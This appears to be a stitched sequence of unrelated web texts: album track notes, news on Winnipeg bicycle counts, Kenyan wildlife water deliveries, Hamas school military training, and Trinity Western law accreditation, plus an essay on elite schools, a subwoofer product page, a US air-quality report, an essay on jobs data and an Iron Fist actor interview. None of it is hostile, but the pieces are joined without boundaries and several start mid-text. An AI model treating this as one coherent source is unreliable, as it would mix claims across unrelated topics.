3) Pretty Story: In Broome, a town near where I grew up, I met a man who cleaned the backpackers at night after all the drunks and revellers had been kicked out. My friend Jules worked there and I just hung around beside the pool drinking and sweating and sitting in hammocks and reading my first Murakami book ever, Kafka on the Shore. Very, very late at night he told us a very, VERY disturbing story that made me wonder about the horrible things people can do, and how they can still be good to others, other people who would never speak to them if they knew certain horrible things. I think a lot about that man and those people.
4) Whispers of Beauty: This all happened I guess. I’m a horribly passive, tragic romantic. A little boy.
5) 100 k’s ‘round Carmel: Guilt is a modern disease like the internet and low-fat milk and gluten intolerance. Oh and someone I loved died. I am a chronic sufferer of this stupid disease.
6) Randolph Stevens: See above. Death and guilt and technology and innocence etc. etc. Shags Chamberlain did the most offensively stanky bass here. I feel the song should have a parental guidance warning or something. It’s like watching people sex each other with the lights on.
7) Riplui: Evelyn Morris played drums and did sing and Shags did bass and synth explores. Oh yeah, again someone I loved died. Jesus, I’m a mopey bastard? Ok… this song is about a dream I had about a psychedelic cloud that I could summon down to pick me up, it was kinda pink and I rode it to a great lake where a water sprite lived and he was forced into human form to help me in my quest to travel to India and pick up sacred scrolls so we could get back into heaven. But the path was long and littered with demons and all I wanted was to ride my cloud through that gap of blue and skim along the flowing landscape always and forever draped in light!
8) Did I Just Arrive Here…?: Ev drumming again. What an absolute badass. I played my first show with her band Pikelet two days ago. It was rad. I’ve loved them for ages. Me and Joe Ryan first saw them in New Zealand, I think. It was the first time I went to that country. They do things right that my country does wrong. All my songs should be this short.
9) QF325: I think riding that cloud would be great. REALLY great. When I fly, I’m usually inside a giant tin can surrounded by people who stink more and more the longer we travel, and I cant even see the window or the clouds or light or the ground I left or anything except the fucking screen. If I were to die as a result of flying, I’d much rather be connected to the world, alone, quiet and sailing down to make my final mark on the world. A great big flat one of brains and bones. The converse, as I imagine, is to die desperately yanking the voice of Morgan Freeman out of my ears to better hear the sirens and screams of the microcosmic sardine can society as they swear and pray and shit themselves to death, while Morgan serenely mumbles in front of me and 2 Broke Girls squeal to his left and The Big Bang Theory does whatever it does to his right. Flames and desperation and procedures til the end. Oh yeah Ev drumming, Shags playing bowel shattering synth.
The 2015 Winnipeg Bicycle Counts Report was completed by volunteers of Bike Winnipeg, who have been counting cyclist traffic in the city every spring since 2007.
The executive summary of 2015's report says its purpose is to provide information about the number of commuter cyclists in Winnipeg based on direct observation.
"There is strong evidence that even the limited construction of new cycling infrastructure that has occurred since 2009 has had a positive impact on the number of cyclists in Winnipeg," the report says.
"This year's bike counts and analysis suggest that there has been substantial growth in cycling but that this growth has stalled."
The report found a direct correlation between new or improved cyclist infrastructure and the number of cyclists on the road in Winnipeg. (2015 Winnipeg Bicycle Counts Report)
Locations where cycling infrastructure had been built or improved in recent years experienced a significant rise in the number of cyclists using that infrastructure, according to the report.
Specifically, bicycle counts at those locations rose by 115 per cent.
The locations — and their surroundings, especially — ultimately determined whether cycling activity increased, however.
"What we found is that in certain locations it increased dramatically, such is on the Assiniboine Avenue bikeway, which is what they would call a protected bikeway and people feel much more comfortable going there," said Jeremy Hull, Chair of the Education Committee for Bike Winnipeg.
Jeremy Hull, Chair of the Education Committee for Bike Winnipeg, says now that there hasn't been as much spending on new infrastructure for cyclists, the number sort has leveled off," said Hull. (CBC)
After taking into consideration weather, location and time of day, the report estimates that commuter cycling has increased by about 20 per cent overall in Winnipeg.
But without continued growth and development in cyclist infrastructure, cycling in Winnipeg will stall, the report says.
Hull said he has seen almost no increase in other locations.
"After the big infrastructure spending in about 2009 [to 2011], there was a substantial increase in cycling. And now that there hasn't been as much spending on new infrastructure, it sort of leveled off," said Hull.
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Click on the red text to pre-fill the form with various values Compare Cumulative Seasons (e.g., compare Kobe Bryant through age 28 to Michael Jordan through age 28) Compare Single Seasons (e.g., compare Kobe Bryant at age 28 to Michael Jordan at age 28) Player 1 Javascript is required for the selection of a player. Type name to select an option Marc Gasol Select Season 2008-09 (age 24, 1st season) 2009-10 (age 25, 2nd season) 2010-11 (age 26, 3rd season) 2011-12 (age 27, 4th season) 2012-13 (age 28, 5th season) 2013-14 (age 29, 6th season) 2014-15 (age 30, 7th season) 2015-16 (age 31, 8th season) 2016-17 (age 32, 9th season) 2017-18 (age 33, 10th season) 2018-19 (age 34, 11th season) Choice is: Player 2 Javascript is required for the selection of a player. Type name to select an option Paul Pierce Select Season 1998-99 (age 21, 1st season) 1999-00 (age 22, 2nd season) 2000-01 (age 23, 3rd season) 2001-02 (age 24, 4th season) 2002-03 (age 25, 5th season) 2003-04 (age 26, 6th season) 2004-05 (age 27, 7th season) 2005-06 (age 28, 8th season) 2006-07 (age 29, 9th season) 2007-08 (age 30, 10th season) 2008-09 (age 31, 11th season) 2009-10 (age 32, 12th season) 2010-11 (age 33, 13th season) 2011-12 (age 34, 14th season) 2012-13 (age 35, 15th season) 2013-14 (age 36, 16th season) 2014-15 (age 37, 17th season) 2015-16 (age 38, 18th season) 2016-17 (age 39, 19th season) Choice is: Player 3 Javascript is required for the selection of a player. Type name to select an option Player 4 Javascript is required for the selection of a player. Type name to select an option Player 5 Javascript is required for the selection of a player. Type name to select an option Player 6 Javascript is required for the selection of a player. Type name to select an option
Per Game Per Game Table Rk Player Season Age G GS MP FG FGA FG% 3P 3PA 3P% 2P 2PA 2P% eFG% FT FTA FT% ORB DRB TRB AST STL BLK TOV PF PTS 1 Marc Gasol 2016-17 32 74 74 34.2 7.2 15.7 .459 1.4 3.6 .388 5.8 12.1 .480 .503 3.8 4.5 .837 0.8 5.5 6.3 4.6 0.9 1.3 2.2 2.3 19.5 2 Paul Pierce 2004-05 27 82 82 36.1 6.8 14.9 .455 1.3 3.6 .370 5.5 11.4 .481 .499 6.7 8.1 .822 1.0 5.6 6.6 4.2 1.6 0.5 2.8 3.1 21.6
Such schools are immersed in extensive networks. People in these circuits of privilege and power are intensely and often obsessively, even blindly, loyal. They put in much effort to “give back” to the school and the sector of elite schools that spawned them and continue to provide them with social status.
They are part of a lattice of self-love. The elite private school system continues to connect them in various ways to each other well beyond their graduation. Ex-students’ associations, for example, are an organised and institutional part of this mesh and help to provide the sentimental glue that binds these people to their school and its class practices over their lifetime – particularly when children and grandchildren attend the same school or one of its friendly rivals.
They, and other less institutionalised parts of the lattice, do such things as raising big money (often for educational luxuries), helping ex-students with career placement (thus further distorting the labour market in their favour), providing social and career networks nationally and internationally and assisting each other to get a foot inside the doors that count.
Elite schools tend to define themselves as progressive, liberal and responsive to callings and causes that are more important than the links they have to the powerful and privileged.
The cultivation of class-based collective identity often occurs under the rubric of the “school family”. Some of the building and bonding work is undertaken through alumni and parent associations at the occasions they organise – local, overseas and interstate reunion lunches, dinners, cocktail parties, fundraising events – which are often addressed by heavyweights from politics or business or enhanced by the attendance of an interesting, high profile cultural figure. Schools may also have foundations chaired by wealthy benefactors. They often receive hefty bequests from ex-students and even former staff. One way that loyalty is expressed and recognised is through money.
“Class work” includes conspicuous socialising at glittering high status events (charity, sporting, the arts) where the elite of various class fractions are served by the people they look down on. It includes wheeling and dealing in various circles of power, in which decisions are made about the lives and livelihoods of others. It also involves the more mundane, everyday friendship and kinship groups, parties, sport, clubs, marriage, mothers’ groups and family holidays in select locations. Regular social interaction contributes to class maintenance and integration. This is the class work of living day by day, and elite schools are often the fulcrum balancing such work, for parents, students and ex-students.
The privileged as victims
People in these circuits, along with various elite school/private school formal lobbying organisations, put pressure wherever, whenever and on whoever to advance the situation of elite schools and to defend them against detractors and against policy and funding shifts that might negatively impact them.
For example, their networks in useful places in the media industries provide them a platform to ensure that attendance at an elite school is widely understood as an emblem of success, a destination worth “sacrificing” for, as social arrival par excellence. This understanding is not necessarily crudely asserted, because it is filtered through narratives about high standards, quality and values. They rarely acknowledge the well-documented links between social class, educational provision and educational “success”. Indeed, such links are often downplayed by many (not all) people in the education establishment (senior policy circles, advisory bodies, the consultancy circuit and the like).
This platform, then, helps them to amplify their class-based myth making and to silence and stigmatise. In Australia, these silencing discourses take the form of derisory complaints about class envy and class warfare. In England, class work is more convoluted. There we see attempts by the current Tory government to curb the continued colonisation of elite universities by elite schools and to increase representation of state school students through the use of targets.
In turn, there has been a backlash from elite schools, complaining, in the pages of the Telegraph for example, of “posh prejudice”, “jealousy and hostility” and “discrimination”. One headmaster even advocated a university boycott. Here the privileged portray themselves as victims and mobilise class animosity against both the government (in which, ironically, male graduates from elite schools are massively over represented) and state schools.
False independence
Elite schools are usually part of a highly privileged sector within national education systems. But they can also be part of an international network of schools without a national base. Either way, their existence impacts negatively in all sorts of ways. Organisations such as the OECD have found that countries without private schools have better educational and equity outcomes. Despite such evidence, elite schools’ entrenched power ensures they survive and thrive.
These negative impacts are well documented and can best be understood in terms of what they suck, drain, deplete or bleed from the state school system. Even though they suck the lifeblood from other, “lesser”, schools with regard to such things as reputation, money, highly qualified teachers and high-achieving students, they still claim to be independent. In reality, they depend on these other schools as a source of negative comparison and as a pool of potential benefits.
Over the years and in different countries, elite schools’ class work has taken different forms. These forms depend on the national configurations of social class, particularly as they intersect with race, religion and thus with colonial and post-colonial or national projects. In such new nations, elite schools can be used to fast-track the rise of new ruling and professional groups. They help the newly minted ruling and professional classes to entrench their improved social circumstances. Although this fast-tracking may have originally sprung from a democratic, anti-imperialist impulse, it is not necessarily passed on to new generations in such schools. The first-comers may try to pull up the social ladder behind them.
Inside the citadel
Despite national differences, there are common class-making practices inside elite schools. These involve subscribing to a hierarchical social and educational value system that is used as a form of self-justification (We have the best because we are the best); as a guide for self comparison (Who am I superior and inferior to and why? Which schools are superior/inferior to mine?); as a “handbook” for emulation and aspiration (Who “above me” should I emulate and aspire to be like?).
The schools always invoke the celebrity status of their most powerful, esteemed or famous ex-students as an incitement to students to “aim high” and as indicators of their own success and their powerful connections. Most school websites illustrate this practice of celebrating (and commodifying) the most reputable ex-students.
Such hierarchical value systems apply both to future study and future work. Only the most elite universities and only high status employment or self-employment will do. Anything less is regarded as close to failure.
Other practices include exceedingly selective entry criteria (money, “merit” through testing, behavioural style, family connections, religion); creaming “the best and the brightest” from other educational sectors/social classes via scholarships; excluding students or parents who don’t fit the mould or who won’t “add value” to the school’s brand.
“Class work” includes conspicuous socialising at glittering high status events (charity, sporting, the arts) where the elite of various class fractions are served by the people they look down on.
There is also segregation and seclusion – primarily mixing with other similar schools through social occasions, sporting and cultural associations and competitions, principals’ organisations and the like. Boarding schools are at the most extreme end of this process and involve a heightened sense of intimacy and intensity between students who see each other as more family than family.
School segregation means that students do not have to cope with the ordinary and unremarkable chances of meeting strangers from across the tracks. There are no everyday encounters with children from other classes, and thus students do not develop habits of civility. As sociologist Zygmunt Bauman wrote in his 2000 book Liquid modernity, civility is “the ability to interact with strangers without holding their strangeness against them and without pressing them to surrender it or to renounce some or all the traits that have made them strangers in the first place”.
The educational and social segregation involved in their school-based social cocooning means that private school students have little sense of life in wider society, let alone life on the “bottom rungs”. Such schools can be thought of, in Bauman’s terms, as “purified spaces … cleansed of variety and difference … tame, sanitised”. This is a problem because as adults, students from elite schools exert a disproportionate influence over the lives of people right across the social spectrum.
“Hot-housing” is another form of class work undertaken by elite schools. It involves instilling a hyper-competitive, hyper-ambitious mind-set that constrains students’ plans for their post-school destinations in education and work. Breaking from their class is unthinkable and largely unthought. Hot-housing produces a school climate in which failure of any sort cannot be countenanced and in which the pressure is unrelenting on students to be trophies for the school, their families and each other.
Mollycoddling accompanies hot-housing. Students are taught how precious they are, that their every need should be met. This is reflected in the high workloads and stress of teachers, who may even be expected to offer individual tutoring. It is also evident in the provision of a huge range of institutional and extracurricular opportunities (clubs and societies). These practices promote a culture of narcissism – of self-absorption, an inflated sense of self-satisfaction and of the accompanying self-delusion.
Elite schools normalise affluence and influence. One way that this is evident is in the quality, beauty and size of the schools’ buildings and grounds, the range of their facilities including such things as “adventure” campuses, state-of-the-art science, sporting, multi -media and performing arts centres. Some even have rifle ranges and pony clubs. Another is the up-market surrounding suburb.
Some schools may not have affluence normalised in these ways. The school may be an oasis of luxury surrounded by slums (India) or poor working class suburbs (Geelong Grammar, in Corio, Geelong, for example). Such proximity reinforces the need for class fortification. Alternatively, the school may have relatively humble buildings and grounds – but the expensive cars regularly dropping and collecting students nevertheless signal its class links.
Contradictions
“Leadership” is a recurrent theme in these schools; students are encouraged to see themselves as leaders-of-the-future in areas of their passion. The schools provide them with lots of opportunities to be in charge. These can then be displayed on their CVs. Well-known, distinguished and powerful alumni are regularly on display as role models and may be used as advisers and mentors. School governing bodies invariably involve the top end of town.
The ironic by-product of the embrace of privilege and normalisation of wealth is a certain form of class disavowal. This is particularly the case in countries that claim to be egalitarian and where anti-elitism is a popular ethic. Schools and their students and ex-students deny that they are class advantaged in numerous ways.
They make inflated claims about open access to, and social mobility through, the school via such things as scholarships, bursaries or meritocracy. They exaggerate small differences (race, religion, ethnicity) within the school while denying that most share economic similarities. They try to mystify class differences by assimilating a minority of “outsiders”, which they point to as proof that “anyone can make it”. And, through seeming acts of altruism (charity and community service, for example), students are led to believe that they actually contribute to social justice through what are only tokenistic endeavours with a feel-good factor.
So elite schools tend to represent their relationship to society in shared ways – they are elite but not elitist; they are about social change and mobility as well as social stability. They tend to define themselves as progressive, liberal and responsive to callings and causes that are more important than the links they have to the powerful and privileged.
The contradiction is that such schools need to be recognised as elite by their current and potential patrons, beneficiaries and networks, but they do not want to be regarded as such by those who gain no benefit from them. Being too elite is seen to go against national democratic impulses, so such schools navigate a very contradictory ideological space.
These schools maintain a sense of their own superiority while also implying that there is a commonality of interests across the social divides that their very existence helps to reproduce.
BOOK LAUNCH
Class choreographies: elite schools and globalization
Builds on case studies from around the globe to highlight the prolonged influence of the British Empire on elite schools. Compiled by Jane Kenway, Fazal Rizvi, Johannah Fahey, Debbie Epstein, Cameron McCarthy and Aaron Koh.
Thursday 4pm, 1 December
Pea farmer Patrick Kilonzo Mwala has detailed his visits to replenish a local waterhole that supports elephants, zebras, lions and buffalos in a series of posts to Facebook.
Mr Mwala’s efforts are a funded by donations, and he delivers an estimated 12,000 litres per visit.
His work ensures countless animals are able to get access to water where they might not have otherwise.
Mr Mwala makes the 45km trip about four times a week and at a cost of $326 per visit.
(Facebook/Patrick Kilonzo Mwala) ()
He said that many animals have come to rely on him, with many waiting at the waterhole for his daily delivery and some even mobbing his tank truck due to the “smell of water”.
In a post earlier this month, he described a number of “big giants…coming towards our truck with no fear, for we have precious commodity they missed [sic]”.
The ongoing drought forced the Kenyan government to declare a state of national disaster on February 10, and the nation’s Red Cross has estimated about 2.7 million residents are in need of food aid, The Africa Report said.
Severe drought conditions across the Horn of Africa have left more than 12 million people in urgent need of humanitarian assistance, ActionAid reports.
Mr Mwala also founded TSAVO Volunteers, an organisation that runs volunteering organisations within the Tsavo West National Park.
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Hamas authorities introduced the 'Futuwwa', or youth programme into the state curriculum last September for 37,000 Palestinian boys aged between 15 and 17, conceiving it as a scheme intended to initiate a new generation of Palestinian men in the struggle against Israel.
Izzadine Mohamed, 17, was among the students who attended the weekly school classes, which covered first aid, basic fire fighting skills and how to fire a Kalashnikov rifle. He was also one of 5,000 boys across Gaza who also signed up for an optional two-week camp held at a Hamas military base.
"I was excited to learn the right way to use a weapon," said Mr Mohamed. "It's important because of the occupation. I feel stronger and more confident with the knowledge, which I could use against the occupier."
At the two-week camp, the boys spent their time dressed in a military-style uniform of black t-shirts and black jeans, and were trained by officers with the Hamas National Guard and militants with Hamas' armed wing, the al-Qassam Brigades.
Mr Mohamed said that as well karate and other street-fighting techniques, they were taught how to throw hand grenades, and how also how to protect themselves if one exploded nearby – "drop flat on the ground next to the grenade, it explodes outwards".
Hamas has denied that live weaponry is used in the course or that militants are involved in the training.
But Samar Zakout, of the Gaza-based human rights organisation Al Mezan, described it as "unbelievable" and likely to encourage Israel to see schools as targets during conflicts.
"They are trying to create a resistance culture, make our boys stronger to face Israel, but they shouldn't be doing it in schools. Maybe Israel will use this as a reason to bomb Gaza's schools in future," Mr Sakout said.
Mohamed Syam heads the education ministry in charge of the Futuwwa programme, which may be extended to girls' schools next year.
"We are not conducting military training in our schools, we are providing information," he said. "The youth can join military wings of factions, they don't need military training at school."
Yet an article written in Arabic on the Hamas ministry of education website credits the al-Qassam Brigades for its contribution to the course and notes their attendance at a graduation ceremony, also attended by Mr Syam. A YouTube clip showing a military demonstration in a Gaza school also appears to contradict the Hamas official line.
Posted on April 5, the video shows a mock Israeli military post erected in a school playground, where Palestinian militants enact a mock battle during which a faux Israeli soldier is killed and another captured. A shoulder-held rocket launcher is then fired at the military post, the force of the blast leaving only a smoking metal frame and a billowing Israeli flag.
Mr Syam said the video, which he claimed not to have seen, was not representative of the new initiative, and that the training course was designed mainly to school Gaza's youth in discipline and respect. "The military aspect takes up only one per cent of the course," he said.
"On the other side, in the occupied territory, [Israelis] are teaching the youth to hate and to kill Arabs and are training their teenagers in the military."
Trinity Western plans to open a law school in 2016, but the British Columbia university has faced criticism over the covenant it requires students to sign that forbids sex unless within a marriage between a man and a woman.
The council of the New Brunswick Law Society voted on Friday to accredit Trinity Western, which means students graduating from the university’s law program can article in New Brunswick.
But the chair of OUTLaw, a support group for LGTBQ law students at UNB, says the decision is a step backwards.
"A covenant by a university that discriminates against gays and lesbians and does not allow them to be their authentic self — that crosses the line of appropriate conduct," Ted Flett said.
Flett said the law society decision opens the door for universities to discriminate against other groups.
"One of the voting members specifically mentioned, 'What's next, could they prohibit women, could they prohibit blacks? Is this not setting a very damning precedent?'" Flett said.
Law societies in B.C., Alberta, Saskatchewan, Prince Edward Island, Nunavut, and Newfoundland and Labrador, have accredited Trinity Western.
In April, Ontario’s Law Society of Upper Canada voted against accrediting the school. And the Nova Scotia Barristers’ Society voted only to accept graduates if the university changes the covenant for law students, or allows them to opt out.
John Malone, the president of the New Brunswick Law Society, says the profession must respect all the communities of lawyers it represents.
Thermal compression are eliminated under normal operation
Higher efficiency allowing output which would normally require a more powerful amplifier
Deep bass extension can be achieved using a low mass driver with superior transient response
Mechanical creep memory effects are reduced, further improving transient response
The effective Q value is 0.1 resulting in much tighter and accurate bass than conventional designs Read more about Direct Servo in our technology section. View animation demonstrating how Direct Servo works HX1000XLR3 Amplifier and DS1820 Driver FV18 comes with a grille. The above photo is shown with grill taken off. It uses our new high power HX1000XLR3 servo amplifier and the standard metal cone DS1820 driver. DS1820 features anodized aluminum cone, a 3" voice coil, and 240 oz magnet. Its linear excursion range is +/- 20mm. The standard amplifier is HX1000XLR3. The quickguide of the XLR3 amplifier for vented subs can be found here . The FV18 installation guide can be found here . The response curves with various extension frequency/damping combinations of both amplifiers can be found in our EQ page. The sub comes with standard screw-in rubber feet. Chrome spike feet are sold separately. Paper Cone vs Metal Cone and Independent Lab Test Results Standard FV18 version uses metal cone DS1820 for its stiffness and low distortion. The independent test lab site www.data-bass.com has published the max distortion numbers for our metal cone FV18 and F18. The F18 has lower distortion and yet more output than Velodyne DD18+ for 1/3 of the price. Paper cone like the one used in Velodyne DD18+ can be made lighter than metal cone and therefore improve outputs above 50hz by up to 3db with the sacrifice of slightly higher distortions. For those who are after the maximum headroom in HT application may consider the paper cone version FV18SW (with paper cone SW1825). Paper cone version will be back in stock by end of Dec. The order links are towards the bottom of this page. The sale price includes freight shipping to 48 US continental states only. Picking up directly from UPS freight terminal saves $100 per order. Shipping to other region or country should inquire us for actual cost. Each FV18 sub comes with complimentary mover pads for either carpet or hard floor, but not both. Please be sure to select one. These are Rev2 model with 4" port opening. We also have a couple of Rev1 model with 3-1/2" port opening on sale for those who would like to save money. Rev2 models are on back order till end of Feb. Description: Rev2 models with 4" port opening (back order till end of Feb) Price FV18 black oak grain finish Rev2 with HX1000XLR3 amplifier and multi-tune (back order till end of Feb) $1799 FV18 black matte paint finish Rev2 with HX1000XLR3 amplifier and multi-tune (back order till end of Feb) $1879 Customer picks up from UPS freight terminal (per order, not unit) -$100 2 large furniture mover pads for carpet (add-on per FV18 order) $0 2 large furniture mover pads for hard floor (add-on per FV18 order) $0
But Yahoo hasn’t forgotten it—Sunnyvale just ponied up a cool “$60 to $70 million” (according to the Wall Street Journal) for what appears to be a pure play for the company’s tech team, including veterans from Netscape and OpsWare.
Existing apps and the Rockmelt website will shut down by the end of August 2013. The move is the latest in a series of acquisitions for Yahoo, which most recently include the $1.1 billion purchase of Tumblr earlier this year.
Although the numbers show an improvement over recent years, too many people are still at risk of being exposed to toxic air, concluded the "State of the Air" study by the advocacy group American Lung Association.
Every year, the association grades the air quality of cities and counties across the nation, using the most recently available data. Regions are graded A-to-F on two major forms of air pollution: ozone and particulate matter. Both are spewed out of coal-fired power plants and tailpipes.
Ozone, or smog, is the nation's most pervasive form of air pollution and can lead to myriad health problems, from shortness of breath to lung cancer. This year's report, published Wednesday, revealed local improvement on ozone between 2011-2013, but it was a mixed bag. At the project's webpage, you can check out whether your city ranks among the cleanest, or dirtiest.
Click to view map of most polluted cities. Credit: American Lung Association
Los Angeles remained the top city affectedby ozone––as it has for 15 out of the 16 years that these reports have existed. The city experienced 194 "orange" days (unhealthy for sensitive groups such as children), 20 "red" days (unhealthy for everyone) and three "purple" days (really unhealthy for everyone) during those three years. California also had eight of the top 10 counties suffering from the effects of ozone pollution.
Ozone is more common in warmer areas, such as Southern California. Despite the progress to clean up California's air, and elsewhere, climate change "will make it harder to keep [ozone levels] down as we move forward with warmer temperatures," because hotter weather drives ozone formation, said Janice Nolen, assistant vice president of national policy at the American Lung Association.
The Environmental Protection Agency's standard for ozone is 75 parts per billion. The Obama administration is considering whether to strengthen that standard, lowering it to levels between 60-70 ppb, which scientists say is more protective of people's health. The American Lung Association weighed in on this debate in the report, advocating for the lowest, or more protective, standard.
Ozone forms when chemicals such as nitrogen oxides (NOx), volatile organic compounds (VOCs) and carbon monoxides (CO) waft from power plant smokestacks, factories, tailpipes and other sources, then interact with sunlight.
Vehicles and power plants are also the main sources for particulates––small particles floating around the air that can aggravate asthma and affect the heart and lungs. According to the report, the eastern half of the nation experienced an improvement in year-round particulate pollution, thanks to cleaner diesel engines and reduced emissions from power plants, the result of the shift from coal to natural gas and clampdown on pollution. For example, cities such as Birmingham, Ala., Little Rock, Ark. and Wheeling, W.Va., experienced their lowest year-round particulate levels since 2000.
Meanwhile, on the other side of the country, a handful of cities in California saw an uptick in both annual and short-term particulate pollution. According to the study, increased heat and drought conditions are partially to blame in many of these cities.
Oil and Gas Drilling a New Culprit
Air pollution, especially ozone, isn't a problem affecting just urban areas in the summer.
For the first time in the "State of the Air" report, Utah's rural Uintah and Duchesne counties were both among the top-25 worst counties for ozone. (In 2013, both counties had a combined population of approximately 55,000; Los Angeles had a population of nearly 4 million.) These two counties also have the most oil-and-gas producing wells in the state.
According to research published last year by the National Oceanic and Atmospheric Administration, oil-and-gas emissions are the leading cause of wintertime ozone in Utah's Uintah Shale region.
Here's how it works. During the winter months, parts of Utah experience what's called an "inversion," where a layer of cold air gets trapped beneath a layer of warm air. The release of volatile organic chemicals from oil and gas extraction and production activities then react with the atmosphere and form smog, in particular when snow cover is present, according to Steven Brown, one of the NOAA study authors.
Scientists are also investigating the impact of the oil-and-gas boom on summertime ozone in both Texas and Colorado. According to the American Lung Association's study, many of Texas's heavily drilled counties, such as Denton, Dallas and Tarrant, also made the list of top 25 counties impacted by ozone.
In sharp contrast, Bismarck, the capital of North Dakota, the second-leading oil-producing state in the nation, was named one of the country's six cleanest cities due to strong winds and low temperatures, according to Nolen from the American Lung Association.
Clarification: This story has been updated to more accurately reflect the process of winter ozone formation in Utah.
“Kim” is an ancient Korean surname, meaning “gold,” and is the most common Korean last name: more than 10 million individuals carry the name Kim, including many famous Kims.
As a first name, Kim is used by women and men. According to U.S. Census data, over 300,000 Americans have the first name Kim (87 percent of them are female).
The headline is what matters in politics and in media, and it was one of the stronger ones in the past three years. Two hundred thousand more jobs added, the unemployment rate down to 8.5 percent—and that with government shedding almost 300,000 jobs over the year. Joblessness remains persistent and chronically high for African-Americans (15.8 percent) and Hispanics (11 percent), though increasing for the latter and stagnant for the former. In all other categories, the situation is improving.
Or so it seems statistically. In fact, what has crystallized over the past year is a bifurcated job picture in the United States that defies the political and media desire for one simple, neat picture. First, each monthly jobs snapshot is a statistical picture of a large country with 300 million people and at least 140 million workers. No one individually counts jobs, and definitions are sometimes questionable. As many have noted, being so discouraged that you have ceased looking for a job doesn’t make you any less unemployed, but it statistically makes you invisible. The Bureau of Labor Statistics just eliminates you as a worker. There are defensible reasons—for example, how are they to know who is discouraged versus living contently on their parents’ largesse or years of savings? Still, it points to the larger fact that these numbers are constructs and often loose ones.
More vitally, there is no one employment reality in the United States. It is neither true to say that Americans are struggling with joblessness or that they are not. It is only true to say that there are multiple realities depending on who you are, what your level of education is, where you live, what your skills are, and yes, what your own personal aptitude and abilities are relative to what jobs exist or can be created.
There is and has been a severe crisis of unemployment and underemployment of men, especially minority men and men who have only a high-school degree or less and whose skills tend toward the physical. There is no crisis of employment for those with college degrees or for woman in service industries such as health care. There is a crisis in states such as Michigan and Ohio, which are going through yet another wrenching rust-belt phase of declining need for manufacturing and heavy unionization that maintains wages at levels that are challenging to maintain relative to technology and a less expensive global labor force (that isn’t pro- or anti-union; it is a reality). There is also a crisis in housing bubble states such as Arizona, Nevada, and parts of Florida and California; but no real crisis in energy, natural gas and agriculture states such as North Dakota, Texas, and Nebraska.
It is an American strength to attempt to weave a common story for such a disparate nation, but it does us no good to pretend that “employment” is a simple equation. The United States now has a long-term structural issue of higher unemployment and underemployment than anyone alive can recall, with at least 10 million people continually without jobs and significantly more earning wages insufficient to keep them from hand-to-mouth living. With a maturing economic system saddled with inefficiency and political sclerosis, there is little that government is capable of doing to improve the situation, which makes the employment conundrum that much more intractable.
High chronic unemployment, however, can coexist with a stable and even vibrant economic system. Put another way, many can struggle in a country of 300 million while many, many also thrive. Both realities—and many shades of gray in—can exist simultaneously. And in spite of some brief halcyon moments (the 1950s, the 1990s), there has never been a sustained period in American history where that has not been true. It may be considered a strength to strive for ideals (full employment, 40 acres and a mule …); it is no help to hold up our real world and descend into despair because it falls short of those ideals.
But what can’t so easily continue is the massive gap between the very few thriving immensely—the 1 percent—and the rest in a system that has ceased growing significantly. That gap in a stagnant economy is more harmful than a similar or even greater gap in an expanding economy—or put another way, it’s less of a problem if there are Brazilian and Chinese gazillionaires because the overall pie in those societies is expanding so robustly.
What’s it like becoming part of the Marvel Universe – did you grow up reading superhero comics?
I always felt it was unattainable. The Marvel Universe literally seemed a world away, and even now I can't quite digest it. It was also a great opportunity to work with Netflix, who I feel are pretty much dominating the TV market at the moment. In saying this, I try to put all of this to the back of my mind as you suddenly start to feel the hefty weight and your shoulders! I try to see it like any other gig ....and do the best I can I do. I'd never read any of the super hero comics so I was clearly a Marvel 'virgin'. Looking back now, I feel that maybe this was a blessing, as I had no preconceived ideas about the character. The comics really gave me the foundations of Iron Fist, and the world, which was really addictive...the Netflix/ Marvel series however offers fans something quite different. They were taking ideas/ concepts and flipping them on their head. And this is what really attracted me to the project.
Davos is well known to Iron Fist fans. What can we expect from your portrayal of the character?
In the comics, Davos is three times the size of me, and wears a black and purple superhero outfit. He's the outright villain. As much as I'd love to squeeze into some purple lycra, I didn't want that to be my interpretation of Davos ...not yet anyway. I really wanted Davos to be real, human even. Season 1 really establishes who this guy is and his relationship with Danny Rand. And I wanted it to become apparent very quickly that Davos is not the 'bad guy'. He has clear reasons for doing what he does. It's not as simple as wanting to 'steal' the Iron Fist off Danny Rand. In fact, Davos was happy that Danny became the Iron Fist, but with Danny having now abandoned K'un Lun and it's people; it's not only scarred their duty to the cause, but its scarred their duty to each other, as 'brothers'. Its a dynamic that's much more complex, and we're only scratching the surface by the end of season 1. Right now though I felt it was important for the audience to understand the heart of their relationship, before it changes forever.
Do you enjoy playing villainous or ‘bad’ characters on screen?
I never see these characters as villainous or 'bad'. If you start playing 'the villain', I don't think it's as interesting. Each character has clear actions/ reasons for behaving/ reacting in a certain way...Once I get to the heart of that, that's when the character becomes exciting to me. The 'villains' are always my biggest challenge to play, but are the most fun, because you have the ability to flip the role on it's head, and challenge the audiences initial perception.
Many people will be wondering how Iron Fist will be adapted to the small screen. Can you give us a bit of a background?
I feel that Netflix/ Marvel have taken the concept of the comics, but created something very different. The comics feature a lot of action, which is great, but I'm not sure how interesting that would be for fans over 13 hour long episodes. What Marvel/ Netflix were interested to explore was the drama and the complexity of the characters in the comics, with a few new characters added in for extra measure! Netflix/ Marvel are brilliant in taking a concept, which can appear a little far fetched on the surface, and bring it totally up to date in a modern setting. Furthermore, they're great at getting you hooked on the story by constantly throwing you with surprises...you can never predict what's round the corner.
Iron Fist is the last of the Defenders to see their solo show come to our screens. Is there a reason for that, do you think?
Not that I know of. Each Defender is very different and appeals to a variety of audiences. I'm presuming Netflix/ Marvel just felt that now was time to release Iron Fist to its fans, as well as the Netflix subscribers.
There has been some criticism to casting Finn Jones, a white male, as Danny Rand. What are your thoughts on the casting decision and what Jones brings to the role?
I understand totally where the criticisms were coming from, but I strongly believe that Finn was the right man for the job. Finn has a certain naivety, which Danny needs. This is just the beginning of Danny's story and the character needs to have room to grow and develop as the superhero (this is only season 1); something which Danny only really connects to half way through the series. Finn taps into this perfectly. Finn and I never tested together so I wasn't quite sure how the chemistry would work, and trust me I've experienced some real disasters! The relationship between Danny/ Davos is so crucial to the story, without that, the show has a very weak foundation. Luckily, it all clicked together from the get go, and it was easy! I was slightly disappointed that the show was criticized for 'white washing' when the full series hadn't been released. In saying that, I fully appreciate the importance of diversity in both TV & Film. And there's a real lack of it. As an 'actor of ethnicity' I've been very lucky, but it hasn't been easy. Things are definitely in motion with regards to that, but we still have a way to go.
What would you say is the most exciting thing about this project?
It's 13 hours of TV that strives to entertain the socks off you by simply telling you a bloody good story! Oh, and there's some amazing fight sequences to get your adrenaline going!
